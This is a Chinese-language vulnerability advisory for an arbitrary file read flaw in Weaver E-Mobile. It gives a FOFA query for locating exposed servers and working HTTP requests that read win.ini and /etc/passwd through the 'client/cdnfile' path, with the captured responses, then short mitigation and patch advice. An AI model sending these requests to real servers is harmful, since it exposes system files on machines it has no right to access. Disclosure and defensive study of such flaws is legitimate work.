

泛微E-Mobile clientcdnfile 任意文件读取漏洞

漏洞描述

泛微E-Mobile是一款由泛微网络科技有限公司开发的移动办公产品，该产品专门为手机、平板电脑等移动终端用户设计，旨在提供便捷、高效的移动办公体验。适用于企业高管和有移动办公需求的业务部相关员工使用，特别适合于已有内部OA系统的大中型企业机构，尤其是企业或部门有较多的分支机构。

影响版本

泛微E-Mobile

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="泛微-EMobile"

POC/EXP：windows

GET /client/cdnfile/1C/Windows/win.ini?windows HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

```
Request
1 GET /client/cdnfile/1C/Windows/win.ini?windows HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Encoding: gzip, deflate
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Connection: close

Responses
1 HTTP/1.1 200
2 Server: nginx
3 Date: Thu, 19 Sep 2024 01:50:06 GMT
4 Content-Type: application/octet-stream
5 Connection: close
6 X-XSS-Protection: 1; mode=block
7 X-Content-Type-Options: nosniff
8 Content-Disposition: attachment; filename=win.ini; filename*=utf-8''win.ini
9 Cache-Control: public,max-age=604800
10 Content-Length: 92
11
12 ; for 16-bit app support
13 [fonts]
14 [extensions]
15 [mci-extensions]
16 [files]
17 [Mail]
18 MAPI=1
19
```

POC/EXP: linux

GET /client/cdnfile/C/etc/passwd?linux HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

```
Request
1 GET /client/cdnfile/C/etc/passwd?linux HTTP/1.1
2 Host: 127.0.0.1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Encoding: gzip, deflate
6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Connection: close

Responses
1 HTTP/1.1 200
2 Date: Thu, 19 Sep 2024 01:45:17 GMT
3 Content-Type: text/plain; charset=utf-8
4 Connection: close
5 X-XSS-Protection: 1; mode=block
6 X-Content-Type-Options: nosniff
7 Referrer-Policy: no-referrer-when-downgrade
8 Content-Disposition: attachment; filename=passwd; filename*=utf-8''passwd
9 Cache-Control: public,max-age=604800
10 vary: accept-encoding
11 Content-Length: 3922
12
13 root:x:0:0:root:/root:/bin/bash
14 bin:x:1:1:bin:/bin:/sbin/nologin
15 daemon:x:2:2:daemon:/sbin:/sbin/nologin
16 adm:x:3:4:adm:/var/adm:/sbin/nologin
17 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
18 sync:x:5:0:sync:/sbin:/bin/sync
19 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
20 halt:x:7:0:halt:/sbin:/sbin/halt
21 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
22 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
23 operator:x:11:0:operator:/root:/sbin/nologin
24 games:x:12:100:games:/usr/games:/sbin/nologin
25 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
26 ftp:x:14:50:FTP-User:/var/ftp:/sbin/nologin
27 nobody:x:99:99:Nobody:./:/sbin/nologin
28 dbus:x:81:81:System message bus:./:/sbin/nologin
29 rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
30 usbmuxd:x:113:113:usbmuxd-user:./:/sbin/nologin
31 oprofile:x:16:16:Special user account to be used by...
```

修复方案

临时缓解方案

接口设置访问权限或限制访问来源地址，如非必要，不要将系统开放在互联网上。

升级修复方案

目前官方已发布安全补丁，建议受影响用户尽快升级至安全版本

